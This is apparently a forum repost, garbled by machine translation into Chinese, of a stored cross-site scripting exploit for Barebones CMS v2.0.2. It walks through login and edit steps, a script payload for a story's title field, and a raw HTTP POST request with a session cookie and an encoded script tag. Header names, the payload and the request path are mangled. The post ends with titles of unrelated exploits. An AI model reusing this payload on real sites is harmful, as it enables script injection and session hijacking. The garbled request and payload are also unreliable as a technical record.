准则CMS v2.0.2-存储的跨站点脚本（XSS）（身份验证）

[HackApt-37 Team已验证会员]

＃利用标题:准则CMS v2.0.2-存储的跨站点脚本（XSS）（身份验证）
＃日期: 2023-06-03
＃利用作者: TMRSWRR
＃供应商HomePage3360 https://barebonescms.com/
＃软件link: https://github.com/cubiclesoft/barebones-cms/archive/master.zip
＃版本: v2.0.2
＃测试: https://demo.barebonescms.com/
- - 描述 - -
1）登录管理面板并转到新故事:

正在加载...

demo.barebonescms.com

2）单击编辑按钮，然后在标题字段中写入有效载荷:
PAYLOAD:'SCRACTALERT（1）/脚本
3）保存更改后，您会看到警报按钮
post/sessions/127.0.0.1/moors-sluess/admin/http/1.1
host: demo.barebonescms.com
cookie: phpsessID=81ECF7072ED639FA2FDA1347883265A4
用户- 代理: Mozilla/5.0（X11; Linux X86_64; RV:102.0）壁虎/20100101 Firefox/102.0
ACCEPT:应用程序/JSON，text/javaScript， /; Q=0.01
Accept-Language: en-us，en; q=0.5
Accept-incoding: Gzip，放气
content-type:应用程序/x-www-form-urlenCoded; charset=UTF-8
X-重新要求- WITH: XMLHTTPREQUEST
内容长度: 237
Origin: https://demo.barebonescms.com
DNT: 1
Referer: https://demo.barebonescms.com/sessi...8C011118C011118C0118C0118C0118C0118.8C0118.8C
sec-fetch-Dest:空
sec-fetch mode: cors
sec-fetch-site:相同原产
TE:拖车
连接:关闭
动作=saveassetid=1revision=0Type=storysec_t=a6adec1ffa60ca5adf4377df100719b952d3f596lang=en-ustitle=％22％3e％3CSC RIPT％3ealert（1）％3C％2FScript％3Enewtag=publish_date=2023-06-06-03publish_time=12％3A07+amunpublish_date=unpublish_time=

 

H

Starface 7.3.0.10-可能使用密码的身份验证

H

注册系统项目v1.0 -SQL注入身份验证旁路（SQLI）